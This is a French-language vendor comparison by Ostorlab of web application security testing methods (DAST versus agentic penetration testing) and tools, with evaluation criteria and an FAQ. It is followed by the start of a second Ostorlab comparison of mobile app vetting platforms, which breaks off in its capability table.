Le test de sécurité des applications web évalue un site, une application ou une API en cours d'exécution afin d'identifier les faiblesses susceptibles de permettre un accès non autorisé, une exposition de données, une compromission de compte ou des actions non prévues.

Les tests peuvent porter sur :

L'injection SQL
Le cross-site scripting
La falsification de requête côté serveur
La traversée de répertoires
L'injection de commandes
La gestion non sécurisée des fichiers
Les faiblesses d'authentification
Les défaillances de la gestion des sessions
Les vulnérabilités de contrôle d'accès
Les secrets exposés
Les mauvaises configurations de sécurité
Les opérations d'API vulnérables
Les failles de workflow et de logique métier

Chaque méthode de test observe une partie différente de l'application.

Méthode de test	Entrée principale	Perspective opérationnelle	Objectif principal
DAST	Application ou API en cours d'exécution	De l'extérieur vers l'intérieur	Appliquer des contrôles répétables sur l'ensemble des fonctionnalités accessibles de l'application
Test d'intrusion agentique	Application en cours d'exécution, contexte d'authentification et instructions	Adaptative, de l'extérieur vers l'intérieur	Investiguer les workflows, tester des hypothèses et valider des chemins d'attaque en plusieurs étapes
SAST	Code source	Au sein du code	Identifier les schémas d'implémentation non sécurisés pendant le développement
SCA	Dépendances et artefacts de build	Chaîne d'approvisionnement logicielle	Identifier les composants tiers vulnérables ou à risque
IAST	Application instrumentée en cours d'exécution	À la fois de l'intérieur et de l'extérieur	Relier les requêtes externes à l'exécution du code à l'exécution
Test d'intrusion manuel	Périmètre technique autorisé	Dirigée par un analyste	Investiguer la logique propre à l'application, les autorisations et l'architecture

Ces méthodes sont complémentaires. L'analyse statique peut identifier une implémentation non sécurisée sans prouver qu'elle est accessible. Le test dynamique peut révéler un comportement vulnérable sans localiser le chemin exact dans le code source qui en est la cause.

Qu'est-ce que le DAST ?

Le test dynamique de sécurité des applications (DAST) évalue une application en cours d'exécution en envoyant des requêtes et en analysant ses réponses.

Un scanner DAST, en général :

Découvre les pages, les formulaires, les paramètres et les endpoints.
Construit un modèle des fonctionnalités accessibles de l'application.
Envoie des payloads pour des classes de vulnérabilités prédéfinies.
Observe le contenu des réponses, les temps de réponse, les changements d'état et les rappels externes.
Signale des vulnérabilités suspectées ou validées.
Transmet les résultats aux workflows de développement et de remédiation.

Le DAST est utile pour tester de façon répétée de vastes portefeuilles d'applications déployées, sans nécessiter d'accès au code source.

Sa principale limite est l'accessibilité. Si un scanner ne peut pas s'authentifier, maintenir une session, naviguer dans une application monopage, construire une requête d'API valide ou atteindre un workflow protégé, il ne peut pas tester la fonctionnalité concernée.

La couverture du DAST doit donc s'évaluer à ce que le scanner a atteint et exercé, et pas seulement à l'achèvement du scan.

Qu'est-ce que le test d'intrusion agentique ?

Le test d'intrusion agentique utilise des agents autonomes pour investiguer une application selon un cycle continu d'observation, de décision, d'action et de validation.

Au lieu de suivre uniquement un ensemble prédéterminé de contrôles, un système agentique peut s'appuyer sur les réponses de l'application pour décider de ce qu'il va investiguer ensuite.

Par exemple, un agent peut :

Identifier deux rôles d'utilisateur.
Comparer la manière dont ces rôles accèdent à la même ressource.
Détecter une possible incohérence d'autorisation.
Modifier et renvoyer la requête concernée.
Confirmer si des données protégées deviennent accessibles.
Conserver les preuves qui étayent le résultat.

Le test agentique peut servir à :

Naviguer dans les workflows de l'application
Interpréter les réponses en contexte
Formuler et réviser des hypothèses de vulnérabilité
Comparer les permissions entre utilisateurs
Suivre les flux de données et les relations de confiance
Investiguer les faiblesses de logique métier
Enchaîner plusieurs faiblesses en un chemin d'attaque
Produire des preuves d'impact sur la sécurité à l'exécution

Tous les scanners de sécurité dotés d'IA ne réalisent pas de test d'intrusion agentique. L'IA peut aussi servir à résumer des résultats, à générer des recommandations de remédiation, à configurer des scans ou à prioriser des alertes.

Un acheteur qui évalue un système agentique doit examiner ses preuves d'exécution : ce que l'agent a observé, l'action qu'il a choisie, la requête qu'il a envoyée, la réponse qu'il a reçue et la façon dont cette réponse étaye la conclusion finale.

DAST et pentest agentique

Dimension d'évaluation	DAST traditionnel	Test d'intrusion agentique
Objectif principal	Détection répétable sur des classes de vulnérabilités établies	Investigation adaptative de chemins d'attaque propres à l'application
Comportement de test	Explorer, appliquer les contrôles configurés et analyser les réponses	Observer le résultat, choisir l'action suivante et poursuivre l'investigation
Modèle de couverture	Large et systématique sur les fonctionnalités accessibles	Plus approfondi, mais potentiellement moins uniforme sur les workflows sélectionnés
Logique applicative	Généralement limitée par les contrôles prédéfinis et la navigation	Peut investiguer des comportements contextuels et en plusieurs étapes lorsque c'est pris en charge
Échelle	Conçu pour des tests récurrents sur des portefeuilles d'applications	Couramment utilisé pour une évaluation plus approfondie d'applications sélectionnées
Preuves	Requêtes, réponses, payloads et preuve pour les contrôles pris en charge	Actions enchaînées, historique d'exécution, preuve à l'exécution et contexte du chemin d'attaque
Répétabilité	Élevée tant que la configuration et l'état de l'application restent stables	Dépend des contrôles de l'agent, de la définition de la tâche, du comportement de la cible et des preuves enregistrées
Adéquation CI/CD	Forte pour les scans récurrents et les barrières de release	Utile pour les évaluations approfondies planifiées et la validation ciblée
Rôle humain	Configuration, authentification, triage et remédiation	Définition du périmètre, garde-fous, revue des preuves et évaluation de la couverture
Limite principale	Peut manquer des fonctionnalités inaccessibles et la logique propre à l'application	Peut ne pas exercer uniformément chaque endpoint ou chaque classe de vulnérabilités

Le DAST et le test d'intrusion agentique ne doivent pas toujours être considérés comme des choix concurrents.

Le DAST fournit une base de test répétable sur un large portefeuille d'applications. Le test agentique apporte de la profondeur là où il faut comprendre les rôles, l'état, l'intention d'un workflow ou les systèmes connectés pour établir une vulnérabilité.

Que doivent évaluer les organisations ?

Accessibilité et couverture authentifiée

Un scanner ne peut pas tester une fonctionnalité qu'il ne peut pas atteindre.

Une évaluation de la valeur (proof of value) doit inclure :

Des pages rendues côté serveur
Des applications monopages
Des routes générées dynamiquement
Des téléversements de fichiers et des formulaires
Des API REST et GraphQL
Des interactions WebSocket
Plusieurs rôles d'utilisateur
Le renouvellement et l'expiration des sessions
L'authentification unique ou la connexion en plusieurs étapes
Des fonctionnalités réservées à certains rôles

Une connexion réussie au début d'un scan ne prouve pas que la session est restée valide pendant toute l'évaluation.

Test des API

Les organisations doivent vérifier si une plateforme peut :

Importer des informations OpenAPI, Swagger, WSDL, Postman ou GraphQL
Découvrir des API à partir du trafic de l'application
Générer des corps de requête valides
Préserver l'authentification et l'état de l'application
Comprendre les dépendances entre les opérations d'API
Tester les autorisations entre différents utilisateurs
Gérer les limites de débit et les opérations asynchrones
Relier les résultats sur les API au workflow applicatif concerné

Tester un frontend ne garantit pas que chaque opération d'API du backend a été découverte ou évaluée.

Preuves et validation

Une vulnérabilité utile doit fournir assez d'informations pour qu'une autre personne puisse la comprendre et la reproduire.

Les preuves peuvent comprendre :

L'URL ou l'endpoint concerné
La requête et la réponse pertinentes
Le payload soumis
Le compte ou le rôle authentifié
Les données extraites ou modifiées
Des preuves de rappel externe
Une séquence d'actions reproductible
Des contrôles comparatifs ou négatifs
L'impact sur la sécurité démontré

Les organisations doivent distinguer un problème possible, une faiblesse détectée, une vulnérabilité validée en toute sécurité et une preuve d'exploitation complète.

Test de la logique métier

Les vulnérabilités de logique métier dépendent de ce qu'une action signifie dans une application donnée.

En voici des exemples :

Accéder à la ressource d'un autre client
Contourner une étape d'approbation
Réutiliser une opération à usage unique
Appliquer une remise non autorisée
Modifier des valeurs de transaction entre deux étapes
Effectuer une action d'administration depuis un compte moins privilégié
Combiner plusieurs endpoints pour exposer des données protégées

Un produit qui revendique une couverture de la logique métier doit démontrer comment il suit l'état de l'application, compare les rôles, identifie une frontière de sécurité voulue et prouve que cette frontière peut être franchie.

Contrôles de sécurité et de périmètre

Les tests de sécurité automatisés peuvent modifier l'état de l'application.

Un test en production peut exiger :

Une autorisation explicite de la cible
Des restrictions de domaine et de chemin
Des URL protégées
Des limites de débit des requêtes
Des périodes d'exclusion des scans
Des comptes de test isolés
Des restrictions de traitement des données
Des limites maximales d'actions ou d'exécutions
Des contrôles d'arrêt d'urgence
Des journaux d'activité complets

Ces contrôles sont particulièrement importants pour les systèmes agentiques, car les actions suivantes peuvent être choisies dynamiquement.

Remédiation et validation des correctifs

La plateforme doit prendre en charge :

L'attribution des vulnérabilités à un responsable
Des preuves exploitables par les développeurs
Des intégrations de ticketing
La gestion des vulnérabilités en double et récurrentes
Des recommandations de remédiation
Le nouveau test de chaque vulnérabilité
La vérification que le comportement corrigé n'est plus exploitable
La réouverture d'une vulnérabilité lorsqu'elle réapparaît

Matrice des capacités de test de sécurité des applications web

Les termes suivants sont employés avec prudence :

Pris en charge : décrit dans la documentation officielle actuelle
Intégré : fourni par un autre produit, module ou édition
Limité : la documentation publique décrit une contrainte significative
Non documenté publiquement : aucune information actuelle suffisante n'a été trouvée
Géré par la communauté : l'organisation reste responsable du déploiement et de l'exploitation

Capacité	Ostorlab	Burp Suite DAST	Invicti	Rapid7 InsightAppSec	HCL AppScan	XBOW	OWASP ZAP
DAST web automatisé	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Dirigé par des agents	Géré par la communauté
Tests authentifiés	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge avec exigences documentées	Géré par la communauté
Test de sécurité des API	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Limité par le modèle de cible	Géré par la communauté
Intégration CI/CD	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Vérifier le workflow proposé	Géré par la communauté
Validation automatisée	Pris en charge selon les cas	Pris en charge pour les contrôles applicables	Fondée sur la preuve pour les vulnérabilités prises en charge	Relecture d'attaque et preuves	Variable selon le produit	Validation exécutée par les agents	Dépend des règles et de la configuration
Exploration agentique des workflows	Pris en charge	Non documenté publiquement comme comportement central du DAST	Vérifier selon le niveau de produit	Non documenté publiquement	Non documenté publiquement	Pris en charge	Non documenté publiquement
Investigation des vulnérabilités logiques	Web Deep Agentic Scan	Principalement menée par un analyste avec Burp Suite Professional	Vérifier le périmètre agentique	Non documenté publiquement	Non documenté publiquement	Pris en charge lorsque c'est accessible	Principalement menée par un analyste
Enchaînement de vulnérabilités	Pris en charge dans les scans agentiques	Principalement mené par un analyste	Vérifier le périmètre agentique	Non documenté publiquement	Non documenté publiquement	Pris en charge lorsqu'elles sont découvertes	Principalement mené par un analyste
Contexte multi-actifs	Multi-Asset Deep Agentic Scan	Non documenté publiquement	Portefeuille AppSec intégré	Contexte Rapid7 intégré	Portefeuille AppScan intégré	Limité aux cibles web prises en charge	Non documenté publiquement
Déploiement cloud	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Pris en charge	Géré par l'utilisateur
Scan privé	On-Premises Scanner optionnel	Déploiement auto-hébergé disponible	Vérifier l'option de déploiement	Moteurs de scan privés	Options pour sites privés et entreprise	Nécessite l'accès à la cible	Géré par l'utilisateur

La documentation publique et les offres commerciales évoluent. Chaque éditeur devrait être tenu de démontrer les mêmes applications, comptes, workflows et critères de réussite.

Principaux enseignements de la comparaison

« Propulsé par l'IA » ne signifie pas forcément agentique

L'IA peut servir à résumer des résultats, à générer des correctifs, à prioriser des vulnérabilités ou à faciliter la configuration, sans tester une application de façon autonome.

Le test d'intrusion agentique exige que le système agisse dans un environnement autorisé, observe les résultats, adapte son investigation et conserve la preuve de ce qui s'est passé.

Le DAST reste nécessaire pour tester l'ensemble d'un portefeuille

Les organisations ont toujours besoin de tests larges et planifiés sur de grands portefeuilles d'applications.

Le DAST reste utile pour détecter des classes de vulnérabilités établies, surveiller les régressions et intégrer des tests répétables aux workflows de livraison logicielle. Le test agentique n'élimine pas ces besoins.

L'authentification détermine la profondeur d'une évaluation

Un scanner peut être techniquement capable et pourtant produire des résultats superficiels s'il perd sa session, ne parvient pas à naviguer dans un workflow ou ne peut pas atteindre les fonctionnalités réservées à certains rôles.

L'authentification doit être évaluée pendant tout le scan, et pas seulement lors de sa configuration initiale.

Les preuves comptent plus que le nombre de vulnérabilités

Une liste de vulnérabilités plus longue n'indique pas nécessairement de meilleurs tests.

Un bon résultat permet aux développeurs et aux analystes sécurité d'inspecter ce qui s'est passé, de reproduire le comportement, de comprendre son impact, de le corriger et de vérifier le correctif.

Les actifs connectés peuvent révéler des chemins d'attaque cachés

Une vulnérabilité web peut dépendre d'une règle d'autorisation d'API, d'un secret dans le code source, du comportement d'un client mobile, d'un service réseau ou d'un document d'architecture.

Tester ces actifs séparément peut masquer cette relation. L'analyse multi-actifs est utile lorsque l'objectif est de comprendre l'application dans son ensemble plutôt que de produire des résultats isolés pour chaque surface technique.

Évaluations détaillées des plateformes

Ostorlab

Ostorlab associe le scan conventionnel des applications web à des capacités de test d'intrusion agentique.

Son workflow de scan web évalue les applications en cours d'exécution à la recherche de classes courantes de vulnérabilités et prend en charge les tests authentifiés, la collecte de preuves, la remédiation, la surveillance et la validation des correctifs.

Le Web Deep Agentic Scan documenté prolonge ce workflow par une exploration guidée par l'IA. Les agents interagissent avec l'application, investiguent les workflows, testent des hypothèses de vulnérabilité et s'appuient sur les réponses obtenues à l'exécution pour déterminer les actions suivantes.

Cette approche est pertinente lorsque l'identification d'une vulnérabilité exige un contexte applicatif plutôt qu'un simple payload. Le workflow agentique peut investiguer des faiblesses logiques, valider leur impact et relier plusieurs actions en un chemin d'attaque étayé par des preuves.

Ostorlab propose aussi Multi-Asset Deep Agentic Scan, qui donne aux agents un contexte connecté entre applications web, API, applications mobiles, code source, cibles réseau et fichiers associés. Une investigation peut ainsi suivre une relation entre des composants au lieu de traiter chaque actif comme une cible sans lien avec les autres.

Les vulnérabilités s'intègrent aux workflows de remédiation et de vérification, notamment le ticketing, les suggestions de code assistées par l'IA et le nouveau scan.

Déploiement documenté : cloud, avec On-Premises Scanner en option.

Focus : associer le DAST automatisé conventionnel aux capacités Web et Multi-Asset Deep Agentic Scan pour l'investigation des workflows, la validation à l'exécution et le test d'actifs connectés.

À vérifier : couverture de l'authentification, profils de scan inclus, preuves d'exécution des agents, consommation de crédits IA, limites de scan et contrôles des tests actifs.

PortSwigger Burp Suite DAST

Burp Suite DAST applique Burp Scanner au sein d'une plateforme d'entreprise conçue pour des tests automatisés centralisés.

Il prend en charge les cibles web et les API, les scans planifiés, le suivi des problèmes, le contrôle d'accès par rôle, l'intégration CI/CD ainsi que des API REST et GraphQL.

Burp Suite DAST se distingue de Burp Suite Professional. Le DAST se concentre sur l'automatisation centralisée, tandis que Burp Suite Professional offre une boîte à outils interactive pour une investigation menée par un analyste.

Focus : DAST d'entreprise automatisé et scan d'API construits sur le moteur de test de Burp Scanner, avec intégration CI/CD et orchestration des scans à grande échelle.

À vérifier : workflows authentifiés complexes, applications riches en JavaScript, intégration des API, qualité des preuves, capacité de scan, architecture de déploiement, et investigations qui nécessitent Burp Suite Professional.

Invicti

Invicti fournit un DAST automatisé pour les applications web et les API.

Sa fonction Proof-Based Scanning confirme les classes de vulnérabilités prises en charge par des techniques de validation définies et joint des preuves au résultat. Les vulnérabilités qui ne peuvent pas être validées automatiquement doivent rester distinguables des vulnérabilités étayées par une preuve.

Le Proof-Based Scanning et le test agentique ne sont pas identiques. Le Proof-Based Scanning valide les vulnérabilités prises en charge à l'aide de techniques définies, tandis que le test agentique adapte son investigation au comportement et au contexte de l'application.

Focus : DAST d'entreprise automatisé avec Proof-Based Scanning pour une validation vérifiée des vulnérabilités et des intégrations aux workflows des développeurs.

À vérifier : quelles vulnérabilités reçoivent une preuve, comment les résultats non confirmés sont étiquetés, fiabilité de l'authentification, formats d'API pris en charge, et inclusion ou non de la fonctionnalité agentique dans le niveau de produit proposé.

Rapid7 InsightAppSec

Rapid7 InsightAppSec est un produit DAST géré dans le cloud pour tester des applications web en cours d'exécution.

Rapid7 documente l'exploration automatisée, la relecture d'attaque, la planification des scans, le reporting, le test des API et des moteurs de scan cloud ou privés. Le produit peut aussi relier les résultats applicatifs à la plateforme Rapid7 au sens large.

Ses documents publics mettent l'accent sur le DAST plutôt que sur l'investigation autonome des workflows.

Focus : test dynamique de sécurité des applications géré dans le cloud, avec relecture d'attaque en boîte noire, évaluation des API et intégration à l'écosystème d'opérations de sécurité de Rapid7.

À vérifier : persistance de l'authentification, exploration du JavaScript, génération des requêtes d'API, preuves de la relecture d'attaque, exigences relatives aux moteurs privés, limites d'applications et exigences de licence distinctes.

HCL AppScan

HCL AppScan est une famille de produits de sécurité applicative qui comprend des tests dynamiques, statiques et d'analyse de la composition logicielle.

Ses capacités DAST sont fournies par des produits tels qu'AppScan Standard, AppScan Enterprise et AppScan on Cloud. L'exploration enregistrée peut fournir des données de navigation et de trafic pour les fonctionnalités authentifiées ou difficiles à atteindre.

AppScan étant une famille de produits, les acheteurs doivent identifier quelle édition fournit chaque capacité requise.

Focus : test dynamique de sécurité des applications sur l'ensemble d'un portefeuille, avec exploration enregistrée, scan de sites privés et reporting de conformité d'entreprise dans des environnements hybrides.

À vérifier : édition du produit, exploration authentifiée, infrastructure de scan, couverture des API, reporting, déploiement, licences, et rôle de l'IA dans le produit proposé.

XBOW

XBOW propose des tests d'intrusion autonomes des applications web à l'aide d'agents IA.

Ses agents interagissent avec les applications, adaptent leurs attaques selon les réponses, exécutent des tests et signalent des vulnérabilités validées.

XBOW indique également dans sa documentation qu'une évaluation peut ne pas tester de façon exhaustive chaque endpoint d'une application vaste ou complexe. La transparence sur la couverture est donc un élément important de son évaluation.

Focus : test d'intrusion web agentique et autonome qui interagit avec les applications, adapte ses attaques aux réponses et met en évidence les lacunes de couverture de l'évaluation.

À vérifier : compatibilité des cibles, prise en charge de l'authentification et des rôles, lacunes de couverture, URL protégées, prise en charge des API autonomes, preuves, nouveaux tests et garde-fous contre les actions destructrices.

OWASP ZAP

OWASP ZAP est une boîte à outils open source de test de sécurité des applications web.

Il prend en charge le scan passif et actif, l'exploration traditionnelle et AJAX, l'authentification, l'automatisation des API, les scripts, les modules complémentaires et les tests manuels via un proxy.

ZAP diffère sur le plan opérationnel des produits d'entreprise gérés. L'organisation reste responsable du déploiement, de la configuration, du passage à l'échelle, de la maintenance, du triage et de l'intégration aux workflows.

Focus : boîte à outils open source de test de sécurité des applications web, qui offre un spidering automatisé, du scan actif, des workflows scriptables et une investigation manuelle via un proxy.

À vérifier : scripts d'authentification, exploration AJAX, règles de scan, maintenance des modules complémentaires, couverture des API, exécution distribuée, reporting et effort d'ingénierie total.

Comment mener une évaluation de la valeur crédible

Domaine d'évaluation	Procédure de vérification
Découverte de l'application	Fournir une application sans liste complète de routes et comparer ce que chaque outil atteint
Couverture authentifiée	Utiliser au moins deux rôles et confirmer que les sessions restent valides pendant tout le test
Prise en charge des frontends modernes	Inclure une application monopage riche en JavaScript avec des routes dynamiques
Test des API	Fournir une spécification d'API et la comparer aux endpoints découverts à partir du trafic de l'application
Test des autorisations	Créer un cas de test inoffensif dans lequel un utilisateur ne doit pas accéder à la ressource d'un autre utilisateur
Test de la logique	Inclure une faille de workflow exigeant plusieurs actions valides dans un ordre non prévu
Qualité des preuves	Demander à un développeur qui ne connaît pas l'évaluation de reproduire chaque vulnérabilité importante
Transparence de la couverture	Identifier les routes, rôles, endpoints et workflows qui n'ont pas été testés
Contrôles de sécurité	Protéger la déconnexion, la suppression, la messagerie, les achats et les autres actions qui modifient l'état
Validation des correctifs	Corriger des vulnérabilités sélectionnées et retester exactement le même comportement
Intégration aux workflows	Transmettre les vulnérabilités aux systèmes de ticketing et de CI/CD sans perdre les preuves
Coût opérationnel	Comparer la configuration, la capacité de scan, l'infrastructure, les licences, l'usage de l'IA et la revue par les analystes

Une évaluation de la valeur crédible doit permettre de répondre aux questions suivantes :

Quelles fonctionnalités l'outil a-t-il atteintes ?
Qu'a-t-il testé ?
Quelles vulnérabilités ont été validées ?
Une autre personne pourrait-elle reproduire les preuves ?
Quelles zones n'ont pas été testées ?
La plateforme a-t-elle vérifié le correctif ?

Questions fréquentes

Quels sont les meilleurs outils de test de sécurité des applications web ?

Les outils évalués dans cette comparaison sont Ostorlab, Burp Suite DAST, Invicti, Rapid7 InsightAppSec, HCL AppScan, XBOW et OWASP ZAP. Ils diffèrent par leur couverture DAST, leur investigation agentique, leur validation, leur authentification, leur test des API, leur déploiement et leur intégration aux workflows.

Quel est le meilleur scanner de sécurité des applications web ?

Le meilleur scanner est celui qui atteint de façon fiable les workflows réels de l'organisation, teste les classes de vulnérabilités requises, fournit des preuves reproductibles, s'intègre à la remédiation et vérifie les correctifs.

Qu'est-ce que le DAST ?

Le DAST évalue une application en cours d'exécution de l'extérieur, en envoyant des requêtes et en analysant ses réponses. Il est couramment utilisé pour des tests de vulnérabilités répétables sur des applications web et des API déployées.

Qu'est-ce que le test d'intrusion agentique ?

Le test d'intrusion agentique utilise des agents autonomes pour observer une application, choisir des actions de test, s'adapter aux réponses, investiguer des chemins d'attaque et valider des vulnérabilités dans un périmètre autorisé.

Quelle est la différence entre le DAST et le pentest agentique ?

Le DAST applique systématiquement des contrôles prédéfinis sur les fonctionnalités accessibles de l'application. Le pentest agentique adapte son investigation au comportement et au contexte de l'application. Le DAST privilégie une largeur répétable, tandis que le test agentique privilégie une profondeur adaptative.

Le pentest agentique est-il meilleur que le DAST ?

Pas de façon universelle. Le DAST offre une couverture répétable sur tout un portefeuille, tandis que le test agentique peut investiguer des workflows propres à l'application et des chemins d'attaque en plusieurs étapes. De nombreuses organisations peuvent tirer profit de la combinaison des deux approches.

Le pentest agentique peut-il remplacer le DAST ?

Non. Le pentest agentique n'élimine pas le besoin d'un DAST récurrent sur de grands portefeuilles d'applications.

Les outils automatisés peuvent-ils tester des applications authentifiées ?

Oui, mais la couverture obtenue dépend des parcours de connexion pris en charge, de la persistance des sessions, de la configuration des rôles et de la capacité de l'outil à naviguer dans les fonctionnalités protégées.

Les outils de test de sécurité web peuvent-ils tester des API ?

Oui. Selon le produit, les API peuvent être testées à partir de spécifications importées, de trafic enregistré, de la découverte d'applications ou d'une configuration directe des endpoints. Les acheteurs doivent vérifier les formats et les méthodes d'authentification pris en charge.

Le DAST peut-il trouver des vulnérabilités de logique métier ?

Le DAST peut détecter certaines faiblesses liées à la logique, mais les règles prédéfinies conviennent généralement moins aux cas d'abus propres à l'application ou en plusieurs étapes. Une investigation agentique ou manuelle peut être nécessaire lorsqu'une vulnérabilité dépend de la compréhension de l'intention d'un workflow.

Les tests automatisés remplacent-ils le test d'intrusion manuel ?

Non. Les tests automatisés offrent une couverture évolutive et répétable. Les tests manuels apportent le jugement humain sur la logique propre à l'application, l'architecture, les autorisations et les chemins d'attaque inhabituels. Le test agentique peut réduire en partie cet écart, mais n'élimine pas le besoin de supervision humaine.

Quelles preuves un outil de test de sécurité doit-il fournir ?

Une vulnérabilité doit inclure l'endpoint concerné, les données de la requête et de la réponse, le payload, le contexte authentifié, les étapes de reproduction, l'impact démontré et le statut de validation. Les outils agentiques doivent aussi conserver les actions qui ont mené à la vulnérabilité.

OWASP ZAP est-il une plateforme DAST d'entreprise ?

OWASP ZAP est une boîte à outils de test open source qui peut prendre en charge des workflows d'entreprise. Toutefois, le déploiement, le passage à l'échelle, le réglage, les intégrations, la maintenance et le support restent à la charge de l'organisation, sauf s'ils sont fournis par un autre service géré.

Recommandation finale d'Ostorlab

Le test de sécurité des applications web ne devrait pas obliger les organisations à choisir entre une couverture automatisée répétable et une investigation contextuelle plus approfondie.

Le DAST est nécessaire pour tester en continu les applications et les API face à des classes de vulnérabilités établies. Le test d'intrusion agentique apporte de la valeur lorsqu'une faiblesse dépend de la compréhension d'un workflow, de la comparaison de permissions, du suivi de l'état de l'application ou de l'enchaînement de plusieurs observations techniques en un seul chemin d'attaque validé.

Ostorlab réunit ces modèles de test au sein d'une même plateforme de sécurité applicative :

Le scan des applications web fournit un test répétable des applications en cours d'exécution et des fonctionnalités authentifiées.
Web Deep Agentic Scan utilise une exploration guidée par l'IA pour investiguer les vulnérabilités logiques, suivre les chemins d'attaque, enchaîner les faiblesses et produire des preuves à l'exécution.
Multi-Asset Deep Agentic Scan relie le contexte des applications web, des API, des applications mobiles, du code source, des actifs réseau et des fichiers associés.
Les vulnérabilités et leurs preuves conservent les informations techniques nécessaires pour comprendre et reproduire les vulnérabilités.
La remédiation et la validation des correctifs relient les vulnérabilités au ticketing, aux suggestions de code assistées par l'IA et à la vérification du comportement corrigé.
La surveillance continue aide à identifier les régressions et les vulnérabilités qui reviennent à mesure que les applications évoluent.

Pour les organisations qui évaluent le test de sécurité web en 2026, la question décisive devrait être la suivante :

La plateforme peut-elle tester l'application en continu, investiguer la façon dont ses workflows peuvent être détournés, prouver l'impact obtenu et vérifier que la vulnérabilité a été corrigée ?

Les meilleures plateformes d'évaluation des applications mobiles en entreprise en 2026

2026-09-10T10:00:00+02:00

Les plateformes d'évaluation (vetting) des applications mobiles en entreprise examinées dans cette comparaison 2026 sont Ostorlab, NowSecure, Quokka (Q-scout), Zimperium (z3A Advanced App Analysis), Appknox et Data Theorem (Mobile Secure). Ces plateformes évaluent les risques de sécurité, de confidentialité et de conformité des applications mobiles Android et iOS, mais elles diffèrent sensiblement par leur modèle opérationnel, leur méthode de scoring des risques, leur architecture de déploiement, et selon que leur priorité est la gouvernance du parc de terminaux des collaborateurs ou les tests de binaires avant publication.

Le choix de la bonne plateforme dépend de votre modèle opérationnel : votre organisation a-t-elle besoin d'un moteur de décision automatisé sur les risques pour les logiciels tiers, d'une synchronisation avec le parc géré par une solution de Mobile Device Management (MDM), d'une instrumentation dynamique sur appareils physiques, ou de tests de la chaîne d'approvisionnement logicielle dans les pipelines CI/CD des développeurs ?

Parmi les documents publics examinés, Ostorlab se distingue en transformant l'analyse des applications mobiles en une décision de risque explicite pour l'entreprise, grâce à un modèle de scoring pondéré multidimensionnel documenté, à une réévaluation automatisée continue après chaque nouvelle version publiée sur les stores, et à des rapports web par jeton qui simplifient la revue entre équipes.

Transparence éditoriale : cette analyse est publiée par Ostorlab. Pour préserver l'intégrité technique, toutes les évaluations des éditeurs reposent sur la documentation officielle actuellement disponible, les fiches techniques des produits et les architectures de produits publiquement documentées.

Transparence éditoriale et méthodologie de recherche

Cette analyse comparative évalue les solutions d'évaluation des applications mobiles en entreprise à partir de la documentation officielle vérifiable des produits, des spécifications techniques et des guides d'architecture publiés par les éditeurs en 2026.

Pour éviter toute confusion de catégories, cette évaluation porte sur les solutions capables d'évaluer des paquets d'applications compilés sans exiger le code source brut. Chaque plateforme a été examinée sur plusieurs domaines techniques essentiels :

Couverture des plateformes : prise en charge des paquets d'applications Android et iOS.
Périmètre d'ingestion : capacité à évaluer les versions publiques des stores d'applications et les binaires privés développés en interne, lorsque c'est documenté.
Analyse de sécurité et de confidentialité : identification statique et dynamique des vulnérabilités, des permissions excessives, du suivi en arrière-plan et des destinations de télémétrie tierces.
Visibilité sur la chaîne d'approvisionnement : décomposition des Software Development Kits (SDK) embarqués et cartographie des risques liés aux dépendances.
Contrôles de politique et scoring : méthodes utilisées pour calculer le risque global et appliquer les règles de conformité de l'entreprise.
Cadence de réévaluation : capacité à suivre et à réévaluer les nouvelles versions des applications.
Intégrations et déploiement : disponibilité d'API, de connexions aux outils de ticketing, de hooks de mobilité d'entreprise et d'options d'hébergement.

Lorsque des fonctionnalités précises sont indiquées comme « non documentées publiquement », cela signifie qu'aucune documentation officielle vérifiable de l'éditeur n'était accessible pendant notre période d'examen. Cela ne prouve pas que l'éditeur ne dispose pas de la fonctionnalité.

Aperçu comparatif des plateformes

Le tableau comparatif suivant résume le modèle opérationnel principal, le focus documenté et les points d'évaluation essentiels de chaque plateforme, d'après les documents officiels disponibles.

Plateforme	Modèle opérationnel	Focus documenté	Ce que les acheteurs doivent vérifier
Ostorlab	Évaluation des risques centrée sur le binaire	Évaluation automatisée des applications en entreprise, scoring de risque pondéré multidimensionnel et DAST à l'exécution	Connecteurs MDM spécifiques et limites de volume d'API pour l'ingestion d'un portefeuille.
NowSecure	Évaluation des risques centrée sur le binaire	Gestion des risques des applications mobiles sur les parcs de terminaux des collaborateurs et dans les pipelines CI/CD des développeurs	Packaging commercial entre les licences développeur et les niveaux MARI pour collaborateurs, ainsi que la capacité en appareils pour les binaires privés.
Quokka (Q-scout)	Inventaire synchronisé avec le MDM	Évaluation des applications des collaborateurs en entreprise avec synchronisation native du parc MDM/UEM	Flux d'ingestion directe des binaires privés en dehors de l'enrôlement MDM actif.
Zimperium (z3A)	Inventaire synchronisé avec le MDM	Mobile Threat Defense et renseignement sur les risques des terminaux des collaborateurs	Faisabilité d'un déploiement autonome pour l'évaluation en phase d'achat sans l'agent MTD sur l'appareil.
Appknox	MAST centré sur le développeur, sur binaire	Évaluation automatisée des vulnérabilités des binaires, tests d'API et génération de SBOM	Règles de succès/échec automatisées pour les achats, par opposition à un triage manuel mené par les développeurs.
Data Theorem (Mobile Secure)	MAST centré sur le développeur, sur binaire	Gestion continue de la surface d'attaque des applications mobiles et découverte des API à l'exécution	Personnalisation du risque des logiciels COTS tiers, par opposition aux flux de sécurité applicative de première partie.

Matrice des capacités et de l'évaluation

Pour les organisations qui ont besoin d'un niveau de détail technique plus fin, la matrice ci-dessous détaille les sources de paquets prises en charge, le périmètre d'analyse et les méthodes de réévaluation documentés pour chaque plateforme.

Plateforme	OS pris en charge	Sources d'applications évaluées	Périmètre d'analyse	Politique et réévaluation	Déploiement documenté
Ostorlab	Android et iOS	Applications publiques des stores et binaires privés (APK, AAB, IPA)	SAST, DAST en confinement sécurisé, indicateurs de malware et télémétrie de confidentialité	Scoring pondéré : 35 % Malware, 25 % Sécurité, 20 % Confidentialité, 10 % Confiance et 10 % Maintenabilité ; suivi continu des stores en amont	SaaS cloud avec API REST et GraphQL
